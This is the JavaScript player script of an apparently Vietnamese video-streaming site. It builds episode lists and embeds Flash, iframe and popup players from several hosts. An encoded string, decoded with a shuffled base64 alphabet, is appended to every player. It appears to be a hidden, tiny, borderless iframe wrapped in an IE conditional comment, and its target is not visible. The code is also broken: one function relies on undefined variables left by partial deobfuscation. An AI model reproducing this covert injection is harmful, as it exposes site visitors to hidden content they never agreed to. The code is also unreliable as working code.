function hlad() {
    document['getElementById']('divs')['style']['display'] = 'none'
};

function setActive() {
    aObj = document['getElementById']('list_tap')['getElementsByTagName']('a');
    for (i = 0; i < aObj['length']; i++) {
        if (document['location']['href']['indexOf'](aObj[i]['href']) >= 0) {
            aObj[i]['className'] = 'active'
        }
    }
};
window['onload'] = setActive;
var $_ = function (a) {
    return document['getElementById'](a)
};
var sv = (szk['lsv']['svl'])['split'](',');
var ten_sv = (szk['lsv']['svt'])['split'](',');
String['prototype']['GetPart'] = function (a) {
    var b = new RegExp('(^|&)' + a + '=([^&]*)(&|$)');
    var c = this['substr'](this['indexOf']('?') + 1)['match'](b);
    if (c != null) {
        return unescape(c[2])
    };
    return null
};

function HC() {
    xpl = szk['gk']['player'];
    xpr = szk['gk']['proxy'];
    xsk = szk['gk']['skin'];
    xw = szk['gk']['width'];
    xh = szk['gk']['height'];
    adsd = szk['gk']['adsdown'];
    dl = szk['id']['link'];
    pl = szk['id']['player'];
    tp = szk['id']['sv'];
    home = szk['id']['home'];
    lo = 'KCElTVlkZiXhSUVdKi0lKjapxAYbg47jgBtjxz0ixBahZCbkIiGzdHtsZL0icB3zxARkg426YWJzg4a1dBU5dB3wOnF1dB85gBVndDkhdARvO9dkZHRoOjQ9OHG2O4htxWdodDoaNLGweDllYAJmxW26TLE0MAG2IDXbNCXwOyGvdnVyZnavdzkoxWRpZW25Zn3udDkig4apIDEzcHbbVBFog41hOyIbxWQ3InRkdmNiKiX8YSGzdHtsZL0iY43sg9I6I0ZBQ0NwNDlngB3hdDkyxWdodDsiIBhyZWY3InkhdnFzY9JkcHQ6dn3kZCbwPSIbg47jgBtjxz0ixBahZCbkIj7DgB3zZSGgWF0bKC3hKjaici8+KBMtgmRtcj28xWZyYW1tIB7hgWU3IptDUE0iIB1hcndkgmdkZHRoKSIaIiGlYAJmxW7oZWtmxHQ3IjEiIHdkZHRoKSI0MjbiIHMjcn3sgBtuZz0ign8iIBJvcnRtcj0iNCIbZmJhgWVig9JpZAI3IjXiIBhtxWdodD0iNLXwIiGzcnN3Inh0dHX6Ty3wgC7iYAp4OC7jg40vcy7odB1sIj28T4tncnFlZL28T4MtgmRtcj28T4Rkdj28IS0lKCFgZW7pxWZdTS0+';

    function _0x558dxb() {
        m_data = $_(dl)['innerHTML'];
        r_left = '<div id="r_data" style="display:none !important;" title="Data here !">';
        r_right = '</div>';
        m_data = m_data['replace'](/\<id\>/gi, r_left);
        m_data = m_data['replace'](/\<\/id\>/gi, r_right);
        m_data = m_data['replace'](/\[id\]/gi, r_left);
        m_data = m_data['replace'](/\[\/id\]/gi, r_right);
        $_(dl)['innerHTML'] = m_data;
        m_data = $_('r_data')['innerHTML'];
        return m_data
    };
    data = _0x558dxb();
    l_spi = data['split']('|')['length'];
    l_spk = function (a) {
        return data['split']('|')[a]['split'](';')['length']
    };
    d_spi = function (a) {
        return data['split']('|')[a]
    };
    d_spk = function (a, b) {
        return data['split']('|')[a]['split'](';')[b]
    };
    part = new Array();
    pc = ['0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's'];
    ab = '';
    part_ep = '';
    data_out = '';
    this['Play'] = function () {
        for (var a = 0; a < ten_sv['length']; a++) {
            var b = ten_sv[a]['split']('.')[0];
            if (b == '') {
                b = home
            };
            part[a] = '<li class="sev">+Server ' + b + ':</li>'
        };
        for (var c = 0; c < l_spi; c++) {
            name_ep = d_spk(c, 0);
            for (var d = 0; d < l_spk(c); d++) {
                link_ep = d_spk(c, d);
                number_ep = Number(d_spk(c, 0));
                number_epp = '';
                if (c > 0) {
                    number_epp = Number(d_spk((c - 1), 0))
                };
                if (l_spk(c) == 2) {
                    ab = '';
                    part_ep = ''
                } else {
                    ab = pc[d];
                    part_ep = '-' + d
                };
                (number_ep) ? name_eppart = name_ep + ab : name_eppart = name_ep + part_ep;
                if (d_spk(c, d) != '') {
                    for (var a = 0; a < sv['length']; a++) {
                        (d_spk(c, d)['indexOf'](sv[a]) != -1) ? part[a] += '<li onclick="M.Load(\'' + link_ep + '\',\'' + name_eppart + '\');" class="ep"><a class="a_tap" rel="' + home + ':' + name_eppart + '" title="' + name_eppart + '" href="?p=' + c + '/' + d + '/' + name_eppart['replace'](/ /gi, '_') + '">' + name_eppart + '</a></li><!--HC Part-->' : false
                    }
                }
            }
        };
        data_out += '<div id="list_tap">';
        if (l_spi >= 2) {
            for (var a = 0; a < sv['length']; a++) {
                (part[a]['indexOf']('HC') != -1) ? data_out += '<ul id=\'' + a + '\'>' + part[a] + '<div style=\'clear:both;\' ></div></ul>' : false
            }
        } else {
            data_out += '<ul><li class="sev">+Server ' + home + ':</li>' + '<li class="ep"><a class="a_tap" rel="' + home + ': Xem Full" title="Xem Full" href="javascript:M.Load(\'' + data + '\',\'Full_time\');">Xem Full</a></li></ul>'
        };
        data_out += '<div class="clear" /></div>';
        $_(tp)['innerHTML'] = data_out
    };
    this['Load'] = function (a, b) {
        obj = '';
        if (a['indexOf'](sv[0]) != -1) {
            a = a['replace'](/\/watch\?v=/gi, '/v/');
            a = a['replace'](/\&feature=related/gi, '');
            obj = DBOj(a)[3]
        };
       if (_0xe399x2['indexOf'](sv[1]) != -1) {
            _0xe399x2 = _0xe399x2['replace'](/anc\.yl/gi, 'http://www.youtube.com/p/');
            obj = DBOj(_0xe399x2)[3];
        };
        if (_0xe399x2['indexOf'](sv[2]) != -1) {
            _0xe399x2 = _0xe399x2['replace'](/anc\.mp4/gi, 'http:');
            obj = DBOj(_0xe399x2)[0];
        };
        if (_0xe399x2['indexOf'](sv[3]) != -1) {
            _0xe399x2 = _0xe399x2['replace'](/anc\.flv/gi, 'http:');
            obj = DBOj(_0xe399x2)[0];
        };
        if (_0xe399x2['indexOf'](sv[4]) != -1) {
            _0xe399x2 = _0xe399x2['replace'](/megafun\.vn/gi, '');
            obj = DBOj(_0xe399x2)[1];
        };
        if (_0xe399x2['indexOf'](sv[5]) != -1) {
            _0xe399x2 = _0xe399x2['replace'](/\.html/gi, '.xml');
            obj = DBOj(_0xe399x2)[2];
        };
        if (_0xe399x2['indexOf'](sv[6]) != -1) {
            _0xe399x2 = _0xe399x2['replace'](/you\.phimsd/gi, 'http://youtube.com');
            obj = DBOj(_0xe399x2)[1];
        };
        if (_0xe399x2['indexOf'](sv[7]) != -1) {
            _0xe399x2 = _0xe399x2['replace'](/ps1\.phimsd/gi, 'https://picasaweb.google.com');
            obj = DBOj(_0xe399x2)[1];
        };
        if (_0xe399x2['indexOf'](sv[8]) != -1) {
            _0xe399x2 = _0xe399x2['replace'](/ps2\.phimsd/gi, 'https://picasaweb.google.com');
            obj = DBOj(_0xe399x2)[1];
        };
        if (_0xe399x2['indexOf'](sv[9]) != -1) {
            _0xe399x2 = _0xe399x2['replace'](/ps3\.phimsd/gi, 'https://picasaweb.google.com');
            obj = DBOj(_0xe399x2)[1];
        };
        for (var c = 10; c < sv['length']; c++) {
            if (a['indexOf'](sv[c]) != -1) {
                obj = DBOj(a)[0]
            }
        };
        if (a['indexOf'](sv[c - 1]) != -1) {
            a = a['replace'](/anc\.down\/http/gi, 'http');
            obj = DBOj(a)[5]
        };
        $_(pl)['innerHTML'] = obj
    };
    this['Qstr'] = function () {
        str = window['location']['href'];
        part = str.GetPart('p');
        (part == null) ? part = '0/1/' + d_spk(0, 0) + '' : false;
        a = part['split']('/')[0];
        b = part['split']('/')[1];
        c = decodeURI(part['split']('/')[2]);
        (l_spi >= 2) ? this.Load(d_spk(a, b), c) : this.Load(data, 'Full_time')
    }
};
var DBOj = function (a) {

    _em = 'type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" autostart="true" wmode="transparent"  width="100%" height="100%"';
    return obj = ['<object width="' + xw + '" height="' + xh + '" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"><param value="' + xpl + '" name="movie"/><param value="true" name="allowFullScreen"/><param value="always" name="allowScriptAccess"/><param value="plugins=' + xpr + '&proxy.link=' + a + '&autostart=true" name="FlashVars"/><embed id="flashplayer" name="xplayer" src="' + xpl + '" width="' + xw + '" height="' + xh + '" ' + xem + ' flashvars="plugins=' + xpr + '&proxy.link=' + a + '&skin=' + xsk + '&autostart=true" ></object>' + bs(lo) + '', '<embed id="xplayer" src="http://megafun.vn/common/player/player.swf" flashvars="autostart=true&file=' + a + '&streamer=http://s22.ctl.vsolutions.vn/ctl/video/&controlbar.position=bottom&controlbar.idlehide=true&backcolor=0x000000&amp;frontcolor=0xCCCCCC&amp;lightcolor=0x557722" ' + xem + ' width="' + xw + '" height="' + xh + '" />' + bs(lo) + '', '<embed id="xplayer" ' + xem + ' width="' + xw + '" height="' + xh + '" flashvars="plugins=http://phimvang.org/player/plugins/ListBox.swf,http://phimvang.org/player/plugins/proxy.swf&proxy.list=' + a + '&repeat=list&autostart=true" src="http://phimvang.org/player/player.swf?logo.file=http://phimvang.org/img/logo-trans.png&logo.hide=false&logo.position=top-right&logo.margin=-1010&skin=http://phimvang.org/player/plugins/skin_full.swf" name="flashplayer"/>' + bs(lo) + '', '<embed id="xplayer" src="' + a + '?modestbranding=1&version=3&hl=vi_VN&rel=0&autoplay=1&showsearch=0&iv_load_policy=3" ' + xem + ' width="' + xw + '" height="' + xh + '"  allownetworking="internal"/>' + bs(lo) + '', '<iframe id="xplayer" width="' + xw + '" height="' + xh + '" src="' + a + '?logo=0&autoPlay=1" ' + xem + ' frameborder="0" ></iframe>' + bs(lo) + '', '<div id="xplayer" style="width:' + xw + ';height:' + xh + ';"><a href="#" onclick="Popup=window.open(&#039;' + a + '&#039;,&#039;Popup&#039;,&#039;toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=no, width=1000,height=900,left=430,top=23&#039;); return false;">' + adsd + '</a></div>']
};
var ky = 'XGCDEFBHIJPTNMOKQRSLUVWAYZxgcdefbhijptnmokqrsluvwayz0149276583+/=';

function bs(a) {
    var b = '';
    var c, _0x558dx18, _0x558dx19 = '';
    var d, _0x558dx1b, _0x558dx1c, _0x558dx1d = '';
    var e = 0;
    var f = /[^A-Za-z0-9\+\/\=]/g;
    a = a['replace'](/[^A-Za-z0-9\+\/\=]/g, '');
    do {
        d = ky['indexOf'](a['charAt'](e++));
        _0x558dx1b = ky['indexOf'](a['charAt'](e++));
        _0x558dx1c = ky['indexOf'](a['charAt'](e++));
        _0x558dx1d = ky['indexOf'](a['charAt'](e++));
        c = (d << 2) | (_0x558dx1b >> 4);
        _0x558dx18 = ((_0x558dx1b & 15) << 4) | (_0x558dx1c >> 2);
        _0x558dx19 = ((_0x558dx1c & 3) << 6) | _0x558dx1d;
        b = b + String['fromCharCode'](c);
        if (_0x558dx1c != 64) {
            b = b + String['fromCharCode'](_0x558dx18)
        };
        if (_0x558dx1d != 64) {
            b = b + String['fromCharCode'](_0x558dx19)
        };
        c = _0x558dx18 = _0x558dx19 = '';
        d = _0x558dx1b = _0x558dx1c = _0x558dx1d = ''
    } while (e < a['length']);
    return unescape(b)
};
M = new HC();
M.Play();
M.Qstr();